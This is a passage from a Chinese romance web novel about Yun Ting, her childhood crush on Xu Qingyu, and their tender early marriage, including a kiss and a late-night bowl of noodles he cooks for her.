她想吻徐清聿,哪怕只是一点点,就像小老鼠偷一块糖果一样,不让他发现。 可徐清聿会介意吗?他会讨厌她这样做吗? 她的理智在脑海里反复拉扯着,可身体已经不由自主地做出反应。 嘴唇贴近他的嘴唇,只差一公分时,她改变方向,吻只落到徐清聿的侧脸。 皮肤微凉,触感清晰。 某种禁忌被打破。 云听屏住呼吸,生怕发出一点声响。 退开时,她的心里又涌起贪念。 再一次,就再一次。 犹豫了一瞬,还是低下头,再度吻他的侧脸。 就在她的唇即将落下的瞬间,徐清聿忽然侧过了头。 猝不及防的,两人的唇不偏不倚贴在一起。 徐清聿没有睁眼,但那双唇带着温度,柔软又有力地贴合着她的嘴唇。 云听怕吵醒他,快速撤回。 徐清聿在这时睁开双眼。 那双眼睛在昏暗的光线下深邃而危险,携着刚醒时的慵懒和模糊,低低地问了一句:“云听,你在干什么?” 云听慌了。 可她后退不得,徐清聿的手抵住她的肩膀,动作不重,但让她无法动弹。 “亲够了吗?” 云听张了张嘴,试图解释:“我……我不是故意的……” 徐清聿没有等她说完。 他推开她一点,拉开两人的距离,“为什么要亲我?” 云听的脸涨得通红,嗫嚅着想说些什么,可无论如何都组织不好语言。 “别动。”他的声音再次响起,比刚才更低了一点。 徐清聿靠近,伸出一只手托住她的后脑,将她拉近了一些。 “如果不介意,”他的声音是低哑的磁性,“我可以教你真正的亲吻是什么样的。” “不、不介意…” 就在云听以为徐清聿会吻下去的时候,他的手松开了。 黑暗中,徐清聿笑了下:“不过,算了。” 他转身躺回了床的另一边,语气恢复平淡:“睡觉。” 云听沮丧:“哦,好。” 徐清聿不知怎么,想起云听上次喝醉时,求吻不得的委屈模样。 她垂下眼,低声“哦”了一句,脸上露出可怜兮兮的神情,像是一只被人冷落的小猫。 在他的印象里,云听是一只容易害羞的小兔子,遇到他时总会退后一步,找着机会躲他。 她看到自己的第一眼就哭了。 她会垂下眼睛,捏起衣角,避开他的目光。 她会在与他对视的瞬间慌乱地转开头,好像多看一眼都会灼伤自己似的。 所以那天晚上,听到云听的要求,他的第一反应不是拒绝,而是惊讶。 她居然会向他提出这样的请求? 现在她在黑暗中面临相同的情况,他的做法还是一样。 徐清聿的脑海里又浮现她委屈巴巴的眼神。 忽然不想逗她了。 他翻了个身,朝云听靠近。 手撑在床上,低下 头,精准地捕捉到她的气息。 这个吻没有侵略,也没有急促,温柔得像是一场轻柔的雨落在心间。 云听一开始还有些紧张和惊讶,指尖蜷缩着,可徐清聿的动作太过温和,渐渐让她放松下来。 她闭上眼,回应他的吻。 唇与唇的触碰间,徐清聿偶尔退开一瞬,又很快重新贴合上去。 云听的心跳快得不像话,她从未体验过这么温柔又令人心醉的吻。 像是漂浮在一片柔软的海洋里,四周的一切都被温暖包围。 所有的杂念都渐渐远去,周围的一切都融化在他的气息中,只剩下他与她,除此之外,再无其他。 十分钟后,徐清聿问:“这样,可以吗?” 云听睁开眼,眼中带着一点水光,轻轻点头。 徐清聿说:“睡吧。” 云听望着他模糊的轮廓,问:“你对谁都这么温柔吗?” “温柔?” “嗯” “云听,只有你会觉得我温柔。” 第20章 第二十章 “小听,你脸红了哦!”…… * 云听第一次见到徐清聿, 是在她八岁的时候。 那天,风和日暖,阳光透过树枝洒在街道上, 影影绰绰地铺了一地。 云渡牵着她和云闻的手,走在狭长的小巷里。 云闻蹦蹦跳跳地踩着地上的阴影,一会儿抬头看天,一会儿转头冲她做鬼脸。 而她则乖巧地握着爸爸的手, 安静地跟着,偶尔偷听他们的对话。 孟妍脸色黑了半边,语气不善:“我就说要早点修车,你还说不用,非得等它出问题才甘心!” 云渡挠了挠头, 干笑两声:“哎呀,不是快到目的地了吗?这点距离还能算啥……” 他摸了摸云听和云闻的脑袋,岔开话题:“小听,小闻,今天你们清聿哥哥也在家。” “清聿这孩子, 长得特别好看。”孟妍走在前方,叮嘱道,“比你们大四岁,正是懂事的年纪, 你们俩去了别闹腾,懂不懂?要听话, 不要惹人家烦,尤其是小闻。” 云渡点头附和,半认真说:“对啊,他成绩好, 长得又帅,以后没准是咱们家的女婿呢。” 云闻一边应着“知道了”,一边咕哝:“爸妈,你们真啰嗦。” 孟妍敲她的脑袋,半嗔半笑:“啰嗦也听进去,当姐姐没个样,你要向小听学习。” “是吧,小听?” “长得特别好看?”云听听到这话有了反应,小脑袋歪了歪,期待地看着前方。 在她的世界里,好看通常意味着温柔。 像动画片里的王子,或者学校里受欢迎的高年级哥哥,都是笑容灿烂,脾气又好的样子。 如果这个叫“清聿”的男生也是这样,那住在他家里,应该会是件很幸福的事吧? 四人走进徐宅,迎面是一个宽敞明亮的院子。 空气里飘过泥土的气息,几株修剪整齐的月季花开得正好。 刚进屋,云听就见到了爸妈口中的漂亮哥哥。 徐清聿站在楼梯口,靠着雕花的木制扶手,黑色的短发清爽利落。 他的五官很精致,眼尾微挑,睫毛纤长,皮肤比大多数男孩子都要白。 这样的长相放在任何人身上,都会让人情不自禁多看几眼,可也让人不寒而栗。 因为好奇,多看了三眼,云听才发现他的神情冷淡得吓人,像是浸在寒冰里的雕像,眸色深沉得让人不敢直视。 尤其是那张面无表情的脸,让她心里涌起一种从未有过的压迫感。 这是“特别好看”吗? 的确是的,可这也太吓人了! 一点都不温柔。 他的眼神好冷。 徐清聿是不是瞪了她一眼? 好可怕的目光,冷漠又不耐。 “哇——”云听没忍住哭了出来,小小的身体颤抖着,把脸埋进爸爸的裤腿旁。 云闻完全不怕。 她眨巴着水灵灵的大眼睛,走上前拉了拉徐清聿的袖子,笑得甜甜的:“清聿哥哥,你真的好漂亮啊!我叫云闻,这是我妹妹云听,以后我们住在你家,你可要好好保护我们哦!” 说完,她伸出手想要牵他的手。 徐清聿眉头都没动,往后退了一步,不动声色地避开她的动作。 他垂下眼,冷冷地看着她,薄唇微启:“嗯。” 那一声“嗯”,简单得让人无从接话。 云闻愣了一下,但很快又自来熟地笑起来:“清聿哥哥,以后我就是你的小跟班了哦!” 徐清聿没有回应,抬眼扫了一圈,目光落在云听身上。 害怕… 云听一激灵,撤回了一场号啕大哭,改为抽抽噎噎地抹着眼泪。 她不知道自己为什么会哭得这么失态。 她想擦掉眼泪,可越擦越模糊,脸颊和手背都湿得一塌糊涂。 徐清聿开口,语气略有不耐:“安静点。” 他的嗓音有点儿稚嫩,语调偏高,像未完全定型的琴弦,带着少年特有的清亮和干脆。 “清聿!”站在一旁的徐爷爷皱眉,拍了一下楼梯扶手,责备道,“小听还是个小孩子,说话别这么冲。” 云渡连忙蹲下身子抱住云听,手掌拍她的后背:“小听别怕,哥哥不是故意的。” 见状,徐奶奶走过来拉起云听的手,和蔼地为她擦掉眼泪:“别哭了啊,我们清聿其实是个很好的孩子,就是平时话少了点,小听,别害怕啊。” 房间里的长辈忙作一团,七手八脚安慰她。 云听的啜泣声渐渐小了下来,可她依然不敢抬头,缩在爸爸怀里,肩膀抽动着,默默忍住想要再度泛滥的眼泪。 * 餐桌上 云听左手无助地搅动自己的裙摆。 她坐在徐清聿的左边,徐清聿的右边是云闻,三个人坐在一起。 她不敢看徐清聿,即便她此刻已经平复情绪,心里仍然发怵。 长得好看等于温柔,这个认知在他身上完全行不通。 “小听,吃菜啊,别光坐着发呆。”云渡的声音从对面传来。 闻言,云听拿起筷子,夹了一片鱼放进碗里。 她低头专注地吃饭,对周围的一切都很敏感。 她能听到筷子碰撞碗沿的声音,能感受到徐清聿微微转头时带起的一点点风,也能闻到他身上传来的很清新的香味。 云闻丝毫不拘束,打小就脸皮厚,在徐宅随心所欲,畅所欲言。 她笑眯眯地拿起筷子夹了一块红烧排骨放进自己的碗里,随后抬头看向徐清聿,语气欢快:“清聿哥哥,你最喜欢吃哪道菜啊?” 徐清聿连头都没抬,只是淡淡地说了一句:“都一样。” 云听并不气馁,又接着问:“那你最不喜欢吃什么?以后我可以帮你吃掉!” 徐清聿停下筷子,从碗里夹起一块青椒:“这个。” 云闻“哦”了一声,转头对徐奶奶说:“奶奶,清聿哥哥不喜欢吃青椒,以后给他少做点吧!” 徐奶奶和善地笑了笑,点点头:“行,行,行,都听小闻的,以后我让阿姨少放点。” 而云听,从头到尾都在偷偷看徐清聿。 她一边吃饭,一边瞄他的动作。 举筷、夹菜、放进碗里。 优雅,又赏心悦目。 他的坐姿笔直,背靠椅背,修长的手指拿筷子时,连指甲看起来都那么干净又修整得当。 兴许是她的目光太明显,亦或是双胞胎之间的心灵感应,云闻向她眨了眨眼睛: “小听,你怎么老盯着清聿哥哥。” “是不是觉得他帅呀?” 云听被吓了一跳,脸“唰”地一下红了起来,慌乱地摇头:“没……没有!” 云闻哈哈大笑:“小听,你脸都红了哦!是不是害羞了?” “小闻,别欺负妹妹。”孟妍打圆场,佯怒,“吃饭的时候别乱说话。” 云闻吐了吐舌头,又夹起一块肉放进自己的碗里:“我只是开玩笑嘛!” “清聿哥哥不喜欢吃青椒,小听喜欢吃青椒,她们好配哦!” 云听肩膀紧绷,像一只警觉的小鹿,视线游移,无意瞥见徐清聿的弟弟正在看自己。 徐淮风才四岁,稚嫩的脸庞已初见轮廓的精致,眉眼如画,鼻梁 挺翘,嘴唇薄薄的,红润得像涂了蜜。 他安静地坐在椅子上,双手抱着勺子,专心舀着碗里的汤,偶尔漆黑的眼珠子会四处张望。 云听愣神,心里不由感叹,这一家人怎么长得都这么好看。 云闻又惋惜道:“可惜我也不爱吃,不然清聿哥哥就能娶我啦!” 众人连带徐父徐母都乐了。 但所有人只当云闻童言无忌。 大家吃得差不多时,云闻不小心碰翻了自己的碗,汤水洒了一桌。她站起来,手忙脚乱地收拾:“哎呀,对不起,我不是故意的!” 云渡赶紧过来帮她擦拭:“没事,慢点吃,不着急。” 孟妍批评道:“别那么毛躁。” “对不起嘛!”云闻不好意思道歉,“小听,快帮我擦一擦!” 云听刚想伸手,一只大手递给她一块干净的湿巾。 她抬头,正对上徐清聿低垂的眼眸。 “拿去用。”他说。 云听接过餐巾纸,直勾勾地看着他的侧脸,心跳被无形的节奏拨乱,“谢谢。” 她忽然想起院子里的梅花。 那花明明美得让人忍不住想靠近,可靠近后才发现,它没有任何柔软的气息,只有冰凉的花瓣和疏离的清香。 正如徐清聿。 风起时,他身上的冷意也会随着散开,直逼人心。 这一顿饭,她几乎没怎么吃好,但徐清聿的一举一动,深深地刻在了她的脑海里。 * 云听从小就觉得,徐清聿是喜欢姐姐的。 虽然“喜欢”这个词并不准确,可在她心里,姐姐云闻和徐清聿的相处很自然,很轻松。 云闻会撒娇会卖萌,能逗得身边的人忍俊不禁,而她,总是木讷地站在一旁,像一株被忽略的小草。 小时候的云闻,总是用她甜甜的嘴巴,将气氛搅得活跃无比。 “清聿哥哥,我这次期中考试不是最后一名哦!我考了倒数第三名!老师夸我进步了诶!” “清聿哥哥,我这个数学题不会,老师讲的太差了,你教我嘛!” “清聿哥哥,你喜欢巧克力味的蛋糕还是草莓味的?我最喜欢草莓味的蛋糕,你可以给我买吗?” “清聿哥哥,我刚刚又学了一支新舞蹈,要不要表演给你看?” 徐清聿会蹙眉,面无表情说一句:“不要。” 可即使这样,他依然会停下手头的事情,低头看一眼云闻,然后给她买小蛋糕。 当然也有云听的一份。 即便如此,她也不敢和姐姐一样在徐清聿面前展露真性情。 徐清聿并不喜欢她。 或者说,不是不喜欢,也不是讨厌,只是关系不亲近。 每年的生日,是云听心底最特殊的期待,可生日当天她总会很失落。 徐清聿会给她和云闻每人准备一份礼物,颜色和样式按照云闻的喜好来选。 十一岁生日,云闻收到了她最喜欢的水晶发夹,而云听收到的是不同颜色的水晶发夹。 精致的发卡装在透明的小盒子里,缠着细细的金色缎带。发卡上点缀着几颗粉色的水钻,在阳光下闪烁着耀眼的光泽。 云听当时握着发夹,愣了好久。 她不喜欢闪亮亮的东西,也不喜欢发夹。 云闻开心地跑到徐清聿面前,扬起发夹问:“徐清聿哥哥,这个真的送给我吗?好漂亮啊,我好喜欢!” 徐清聿看着她,神色如常:“嗯,喜欢就好。” 云听注视他们的互动,抿了抿嘴,将发夹放回了盒子里。 戴在自己头上一点都不好看。 丑死了。 十二岁生日,徐清聿送了她们两条裙子。 一模一样的连衣裙,款式复杂又充满少女气息,肩膀处装饰着大大的蝴蝶结,裙摆上还有一层层细腻的蕾丝,颜色是云闻最喜欢的明亮粉红色。 “这真是太漂亮了!”云闻欣喜地将裙子贴在身前,对着镜子转了一圈,转头对云听说:“小听,你也穿穿看。” “清聿哥哥好了解我们哦!他怎么知道我想要一条粉色的连衣裙。” 丑死了。 徐清聿眼光真差。 那条连衣裙云听一次也没有穿过。 云听并不是真的很在意生日礼物,但讨厌被人忽视,更讨厌的是,被他忽视。 明明她有那么多话想说,却一次次被徐清聿的冷漠堵在喉咙里。 徐清聿是一个站在高处的人,高到她只能仰望,不敢靠近。 然而,越是疏远,越是好奇。 有一次,云听在他书桌上看到了一本《人体解剖学》。 瞧见书页上复杂的人体结构图时,她吓得猛然缩了缩脖子。 骨骼、血管,还有清晰的内脏图解,线条精细得像一幅怪异的画。 “解剖……”她在心里默念了一遍。 脑海里浮现出稀奇古怪的画面:一双手拿着闪亮的小刀,像电影里一样,切开某个人身体。 徐清聿以后也会切开人的身体吗? 后来有一天,他坐在椅子上,指腹略微用力地按着书页的边缘,低头认真翻阅这本书,侧脸清俊。 云听站在门口,心跳很快。 年幼的她觉得,或许徐清聿的未来会不一样,很厉害,也很遥远,远到她看不懂。 如果有一天,徐清聿会切开她的身体,她好像……也不会害怕,甘之如饴。 或者是因为她相信,他那样完美冷静的人,就算做这种事情,也一定不会让人痛苦。 那时候的喜欢是朦胧的,像一棵小小的树苗,扎根在心底,枝叶却偷偷朝向他。明明没有什么惊天动地的瞬间,但每一个细微的时刻,都让他一步步走进她的世界,占据她的目光,扰乱她的心跳。 云听不知道什么时候开始的,也不知道什么时候才能结束。 她更不知道那是不是“喜欢”,只是每次看徐清聿,她的视线总是会不自觉地追随;每次听到他的声音,心里总会涌起一种微妙的情绪,既想靠近,又不敢太过接近。 就在她走神之际,耳边传来徐清聿声音:“云听。” 云听如梦初醒,慌忙应了一声:“啊?” 徐清聿的视线从书页间移到她身上:“发什么呆?” “没、没有……”云听低下头 ,“徐清聿…晚饭时间到了,奶奶让我喊你吃饭…” “嗯。”徐清聿指尖一顿、合上书,问了一句:“你有兴趣?” 徐清聿以为她对书有兴趣。 实则不然,她喜欢看书的人。 云听摆手,“没有、没有。”。 徐清聿说:“嗯,这本不合适你看,会吓到你,如果你对医学感兴趣,我这里还有别的书。” 他的声音十分好听,磁性悦耳。 云听的耳朵烧了起来。 她捂脸跑去厨房门口,脑海里飘过刚才他低头时翘起的睫毛,还有那张线条冷硬的侧脸。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 20-30 第21章 第二十一章(双更) “我不想让你饿着…… 初中, 和每个青春期的女生一样。 云听也曾对“颜值”有热烈的讨论与幻想。 那时候,班上的女生总爱围在一起,叽叽喳喳讨论哪个男明星更帅、哪个男团成员更吸引人。 有时候是隔壁班的学长, 有时候是某个偶像剧里的男主角,更多时候是那几个当红的男团成员。 她们喋喋不休争论:“这张笑得多苏”、“那个眼神有多绝”、“他的身材有多好”之类花痴的话。 云听也会跟着笑。 仅限于笑。 她不会参与到这种讨论里去,不是因为不感兴趣,而是因为, 她早已经有了自己的答案。 她的答案,不是屏幕里的偶像,而是徐清聿。 这个答案,她没有告诉过任何人。 在她心里,徐清聿是她见过最好看的人。 比起屏幕里用精致妆容和滤镜修饰过的明星, 徐清聿的好看更直白,更让她无法抗拒。 云听最喜 欢放学在家的日子,因为徐清聿也在家。 她会在他低头专注看书时偷偷看他的侧脸;会在他与别人讲话时悄悄听他的语气;会记下他不经意间提到的小习惯,比如他喜欢喝无糖的绿茶。 有天饭后,云闻缠着徐清聿讨论她喜欢的歌手, 激动地分享自己对偶像的爱。 徐清聿只是“嗯”了一声,手指转着水杯,目光始终淡淡的,并不感兴趣。 可就在她提到一首老歌时, 他挑了一下眉:“这首还不错。” 云听听到这话,心里一动。 她记下歌名, 回房间后特意找来听了一遍。那一晚,她抱着耳机,听着那首歌,满脑子都是他那挑眉的模样。 初中那会儿q.q空间非主流的风格盛行。 云听的同学们几乎人手一个炫彩背景, 加上一句“繁花落尽,只剩孤影徘徊”、“别在我坟前哭脏了我轮回的路”之类的说说,搭配伤感的图片,成为那个年代的潮流符号。 她也不例外,她给空间换上了一个带星星的紫色背景,音乐列表里循环播放着火星文歌名的流行情歌,装扮得尽可能接近那个年代流行的“非主流风格”。 但云听从不转发流行语,觉得太过矫情。 她的空间简洁到空荡,每一条说说都是仅自己可见。 「今天他穿了一件浅灰色的卫衣,我从没见过他穿这么休闲的衣服。真的很好看。」 「饭桌上,他给姐姐夹了她最喜欢的糖醋排骨。他没有看我,但我还是想象了一下,如果他给我夹菜会是什么感觉。」 「路过他的房间时,我听到了他在接电话。他的声音很低很稳,连一句‘嗯’都让我觉得特别好听。」 「生日的时候,他送了姐姐一本花艺书,而我得到了一本笔记本。是姐姐挑的吧,但我还是很高兴。」 「刚才感冒了,咳嗽得厉害。他给了我一杯水,说‘慢点喝’。声音虽然没什么情绪,但听着让我心里暖了一下。」 她的q.q空间日记里又多了一条特别的记录: 「今天的天气真好,公园里的梅花开得特别漂亮。我站在树下的时候,他从我身边经过,风吹起了他的衬衫下摆。我想,他真的很像这些梅花。冷冷的,却总能让我忍不住多看一眼。」 有时候,云听也会模仿流行的非主流句式,写下一些看似随意的话,但它们每一句,都和他有关。 「想靠近,却怕被疏远。」 「不敢说出口的喜欢,只能藏在心底。」 「有些人注定是远方,而我,只能默默看着。」 后来,非主流的热潮慢慢过去了,她也不再更新**空间,但那些说说依然留在那里,静静地躺在时间的深处,像她曾经小心翼翼藏起来的心事。 可在云听14岁时,她决定不要喜欢徐清聿了。 期末考试前的一周。 云听又被几个幼稚的讨厌鬼缠住,导致回家时间比平常晚了一个小时。 她回到家,上楼,听到徐清聿的房间冒出云闻清脆的笑声:“聿哥,这个好难啊!我都不会,你再教我一次嘛。” 云听轻手轻脚地走到楼梯口,顺着声音悄悄地探头看去。 果然,云闻在徐清聿的房间里,书桌上摊开一本数学练习册,徐清聿拿起笔,低头在草稿纸上写着什么。 “你再试试这个公式。” 云闻却嘟起嘴,摇了摇头:“不嘛,好难啊,哥哥你直接告诉我答案嘛!” 徐清聿抬起头:“如果你不学会,以后还是会错。” 云闻盯着他看了一会儿,突然趴在桌子上,笑得眼睛弯成了月牙:“聿哥,你真的好认真哦!要是有你这样的老师,我肯定天天都考第一!” 徐清聿对她夸赞不是很在意,继续低头在纸上演算。 “好好学就行了,不用拍马屁。” “哎呀,我哪有拍马屁!”云闻吐了吐舌头,又笑着靠近他一点,手肘戳了戳他的胳膊,“聿哥,要是我考好了,你会奖励我吗?” 徐清聿抬头看了她一眼,沉默了片刻:“可以。” “真的吗?”云闻的眼睛眼瞳像两颗璀璨的星星,“那我要努力了!聿哥记得哦,不许反悔!” 徐清聿没有再说话。 云闻是不可能好好学习的。不出三秒,她又开始找与学习无关的话题:“聿哥,你说,我和小听,你更喜欢哪个呀?” 云听屏住呼吸,身体紧绷,不敢动一下。 她也想知道答案。 她和云闻的脸一模一样,身高也相差无几,只要不说话,爸妈有时都会分不清她和云闻,但徐清聿却能一眼认出。 就算两人交换衣服和发型,他也不会认错。 漫长的等待后,徐清聿道:“你。” 仅仅一个字,如是一道雷狠狠劈在云听的心上。 云闻问:“那我给你做老婆好吗?” 云听没有听下去,手脚像是被灌了铅,沉重不堪,可脚步踩在地板没有发出声响。 关上房门的那一刻,她靠在门板上,强忍的眼泪终于掉落下来。 为什么还要明知故听呢? 姐姐比她更活泼、更有吸引力,也更懂得靠近徐清聿,讨他的欢心。 可听到他的回答,被忽视、被比较后的落差,还是让她无法承受。 她擦了擦眼泪,走到书桌前,拿起手机打开空间。 手指在屏幕上滑动,看着一条条记录了自己小心思的动态。 她拍过徐清聿在阳光下看书的侧脸,写过他随手送她礼物时的欣喜,还有一些隐晦的句子。 颤抖地点开删除按钮。 “删除这条动态?”手机屏幕上跳出确认的提示。 云听盯着屏幕,眼泪不知什么时候模糊了视线。她闭了闭眼,手指用力一点,那条动态在屏幕上消失了。 一条接着一条,她删掉了所有和他有关的说说,每删一条,胸口的疼痛就加深一分。 当最后一条动态也消失时,她终于忍不住把手机丢到一边,趴在桌子上小声地哭了起来。 从那天以后,云听开始拼命地躲着徐清聿。 她不再刻意注视他,不再因为他的每一句话而小鹿乱撞,就连和他说话的机会,能避免就尽量避免。 高中那几年,她拼命用繁重的课业填满自己的生活,努力让自己不去想与他有关的片段。 即使偶尔在家里碰到他,她也只是一句轻声的“徐清聿”敷衍过去,随后低着头匆匆离开。 徐清聿对此并没有表现出任何特别的情绪。 两人本就不亲近,徐清聿也没有察觉到她的刻意回避。 云听努力让自己变得优秀,上了大学后,更是独立的像一座无懈可击的城堡,没人能看穿她的想法。 直到大一的暑假,她去实习,久违的身影又重新闯入了她的生活。 “我真的不喜欢他了吗?” 云听问自己,无数次。可每一次,心底的答案依然是:“喜欢。” * 云听躺在床边,翻了个身,又翻回去,动作轻微,还是在静谧中拉出窸窸窣窣的声响。 思绪是断了线的风筝,飘向遥远的过去,又跌落到压抑的现在。 迟疑了十分钟,她问:“徐清聿,既然你更喜欢姐姐…为什么要和我结婚呢?” 徐清聿没有回应,但她知道他并没有睡着。 空气停滞片刻。 徐清聿睁开眼,没有立刻回答她的问题,而是在黑暗中凝视她的脸,琢磨她问这句话的用意。 过了很久,才道:“谁告诉你,我更喜欢云闻?” “难道不是吗?小时候,你对姐姐的耐心,对她的关心,我都看在眼里。而对我……” 云听停顿:“你连正眼都不给我。” 徐清聿翻身侧过来,与 她面对面:“云听,你到底在想什么?” “我在想什么?”云听重复了一遍,“我只是在想,这段婚姻对你来说到底是什么。如果不是因为喜欢,那为什么要和我结婚呢?” 徐清聿叹了一口气。 结婚前几天,他收到云闻的微信:「聿哥,咱们不结婚好吗?」 徐清聿回:「怎么?」 云闻:「你不喜欢我啊!我还记得你小时候和我说过,我和小听在你心里是一样的,但是如果结婚的话,你会选择小听。」 云闻:「因为她省心,很乖。」 云听是家长口中别人家的小孩,不会让人操心。 她话不多,不任性,也不会像云闻那样闹着要关注。她乖巧懂事,无论大人安排什么,她都能平静接受,从不抱怨。 徐清聿已经不这么想了。 相处的这些天,他发现云听其实是一个敏感、心思细腻的小朋友,委屈了也不抱怨,只会默默舔舐伤口。 你毁了我的未来。 这是他从云听语气中听出的潜台词。 她是在怪他吗? 莫名的烦躁。 云听无意间露出的落寞表情,都在无声地告诉他:她心里有一个人,一个她爱而不得的人。 那个人和他长得很像。 房间里陷入更深的寂静,所有的答案在无声中悬而未决。 又过五分钟,徐清聿解释:“我会对她好,是因为她是我的妻子。” “既然选择了她,我会尽到作为丈夫的责任。我会照顾她,尊重她,但也仅限于此。” 云听嘴角扯出一个苦笑:“其实…我们没有任何区别是吗?徐清聿…你不会喜欢任何一个人…” 祁修泽说得没错… 徐清聿目光沉了几分,薄唇抿成一条线,“云听,不要恨我。” “不会的。” 这条路是她自己选的,就算没有好的结果,也是她应得的。 “咕——” 气氛正悲伤着,云听的肚子不合时宜发出一声抗议,在寂静的夜里回荡开来。 顾不得失落,她慌乱地捂住肚子,尴尬道:“我今天没怎么吃东西,” 她本来就饿,今天没有好好吃饭,再加上已经很晚,肚子的空虚感此刻突如其来地猛烈,让她有些无措。 徐清聿听到,问:“饿了吗?” 云听:“有一点儿。” 徐清聿伸手抓起床边的手机,屏幕上显示的时间已是晚上12点多。 他看了看屏幕,随即起身,沉默地套上外套。云听没有发觉他要做什么,直到他转身对她开口:“我去给你做点吃的,想吃什么?” “徐清聿…不用了。” “想吃什么?” “嗯…随便…” “不能随便,告诉我你想吃什么。” “番茄鸡蛋面吧…” “嗯。”徐清聿并未离开,目光看向她时,竟十分认真:“有区别。” 云听眨眼:“啊?” “如果我和云闻结婚,我想我不会问她想吃什么。” “或者我会告诉她,现在很晚,吃夜宵对身体不好。” * 云听怎么也不会想到,徐清聿竟然会在晚上12点,起身为她做一碗番茄鸡蛋面。 要是几天前或者几年前,有人告诉她,有一天徐清聿会为她亲自下厨,她一定会认为是自己痴心妄想。 徐清聿会走进厨房?会为她煮饭?这怎么可能? 但事实上,此刻的他真的为她做了一碗面。 徐清聿拉开冰箱门时,云听朝里面看了一眼。 她原以为冰箱里不会有什么东西,顶多有几瓶矿泉水和一些速食品。可是里面东西不仅多,而且非常齐全。 上层摆满各种蔬菜、鸡蛋、牛奶,还有切好的肉片,保鲜盒叠得整整齐齐,显然是有人特意准备好的。 云听惊讶:“冰箱里的东西这么齐?” “嗯。”徐清聿拿出两个红彤彤的西红柿,顺手拿了几枚鸡蛋。他关上冰箱门,道:“阿姨今天下午送来的。” 云听目视他灵巧地剥掉西红柿的蒂,放进水槽冲洗。接着,拿出菜刀,利索地将西红柿切成小块。 她记得六年前的徐清聿,并不会做饭。 “你以前…不是不太会做饭吗?” 徐清聿将切好的西红柿放到碗里,拿起鸡蛋,轻轻一磕,蛋壳裂开,蛋液顺滑地倒入碗中。 他用筷子快速搅拌鸡蛋:“以前是不会。” “那你…是在国外的时候学会的吗?” 徐清聿的动作顿了顿,很快恢复自然。 他将锅放到灶台上,倒入少许油,开了火。 等锅热了,他才淡淡地说:“在国外,太忙,经常顾不上吃饭。有段时间胃疼得厉害,医生说要吃得规律点,就学着自己做饭了。” “胃疼?严重吗?” 徐清聿用锅铲翻炒着鸡蛋,等它成型后,将西红柿倒进去。锅里发出“滋滋”的响声,浓郁的香气渐渐弥漫开来,“现在好多了,不熬夜,不饿着就没事。” 云听安静地注视他的背影,永远不需要为生活琐事烦恼的徐清聿,也会有逼自己学会料理的日子。 唐老师呢?唐老师也不会下厨吗? 锅里的汤汁翻滚起来,徐清聿往里添了些水,然后从柜子里拿出挂面,抖散后丢入锅中,用筷子轻轻拨动,面条在水中翻滚着,西红柿的香味混合着鸡蛋的清香,充满了整个厨房。 云听靠在椅背上,看他将面条盛入碗里,动作自然流畅。 很快,一碗热气腾腾的番茄鸡蛋面就放到她面前。 他说:“趁热吃。” “谢谢。”云听拿起筷子,吹了吹,吃了一口。 酸甜适中,汤汁浓郁,面条软硬刚好,比她以前吃过的还要好。 简单的番茄鸡蛋面,因为出自徐清聿之手,变得与众不同。 云听在Z国读研两年半,只会做一点基础的菜品。 当时图省事,便住在当地的学生公寓里。 她对做菜一窍不通,靠便利店的速食品、楼下的中餐馆和外卖凑合过日子。 有一次,实验室的一个朋友问她:“云听,你都不下厨吗?” “不会做。”她耸了耸肩,理所当然地回答。 也不觉得丢脸。 这不是她的借口,而是事实。她从小在父母的安排下生活,一切都规规矩矩。 八岁前家里的厨房是妈妈的地盘,而她的任务只是学习;八岁后,徐宅有专门的厨师。 以至于到了Z国,她连煮一碗白米饭都做不好。 那段时间,她认识了一个自来熟的女孩,叫奚晴 ,两人关系很好。 奚晴不想给家里增加更多的经济负担,除了繁重的课程和实验外,还经常兼职打工赚生活费。 但是,Z国对留学生的打工时间有严格限制,每周不得超过48小时。为了多赚一些钱,奚晴只能在公寓楼下的亚超打黑工。 云听看在眼里,心里不是滋味。 她便向她提议:“要不……以后我的三餐你来管吧,我包了,给你薪水。” “你是想让我当你的私人厨师?”奚晴一开始有些惊讶,但很快就笑了,半开玩笑地问,“那我做得不好吃,你可别嫌弃。” “不会。”云听笑着回答,“你做什么我都吃。” 后来她的生活就被奚晴“承包”了,每天都能在宿舍里吃到热腾腾的家常菜。 那时她从没觉得不会做饭是个问题,反而觉得很方便。 … 浓郁的汤汁裹着面条滑进喉咙,但因温度太高烫得云听差点呛住。 “咳咳咳。” 徐清聿坐在餐桌的另一头,见状,倒了一杯温水,推到她面前,“不急。” 云听抿了一口:“谢谢。” 她用筷子拨弄面条,让热气散得更快一点。 可面条的热度依旧烫得她只能一小口一小口地尝,嘴唇被热气和汤汁染得更红,衬得她的皮肤越发白皙。 云听吃了一会儿,感觉到另一道目光,动作一顿,有些不好意思地抬起头。 “徐清聿…你……你为什么一直看着我?”她问,声音融进厨房暖气 的嗡嗡声中。 徐清聿收回视线:“没有。” “……我吃得很奇怪吗?”云听更不自在了,把脸埋在碗后,喝了小一口汤。 徐清聿话锋一转,“好吃吗?” 云听点点头,又觉得有些别扭,低声说:“好吃的。” 厨房和客厅都开着暖气,她便在睡衣外面加了一件大衣。 怎么这么热? 徐清聿还是直勾勾地看着她。 云听想找点话题,一时间不知道该说什么,她唔声,词穷问:“你要吃点吗?” 这话一出口,她就后悔了。 她只是随意一问,以徐清聿的性格,多半会拒绝。 徐清聿若有所思,而后点了点头。 云听怔住,筷子差点没拿稳。 “你……你也要吃?” “嗯。”徐清聿答得干脆。 云听没想到他真的会吃,可是这碗面……她已经吃过了。 她笨拙地放下筷子,站起身:“那我去给你拿双筷子。” “用你的就行。” 云听起身的动作僵住,回头看向他,弱声提醒:“可是……我已经用过了。” 徐清聿抬起眼,目光对上她的:“我们接过吻了,不是吗?” 云听脑袋嗡地一下炸开,脸颊涨得通红。 她一副视死如归的神情把筷子递到徐清聿面前,双手举着筷子的动作像是在交出某种象征意义的信物,又像虔诚地呈上供品。 有种奇妙的仪式感,她说:“那……那你吃吧。” 徐清聿接过筷子,指尖碰到她的手背。 云听迅速缩回手,红着耳朵左右张望。 徐清聿垂眸看着手里的筷子,唇角几不可查地弯了弯。 弧度转瞬即逝,云听没有发现。 他夹起一筷子面,尝了一口:“太甜。” 云听:“啊?不甜吧…” “太久没做,糖放多了。”徐清聿陈述事实,“你喜欢吃甜的?” 云听回:“小时候我妈做的番茄鸡蛋面总是偏甜,所以我一直觉得这样刚刚好。” “你喜欢就好。”徐清聿不置可否,又补充一句,“你吃得很香。” 云听:“…是…是吗?” 徐清聿不对劲。 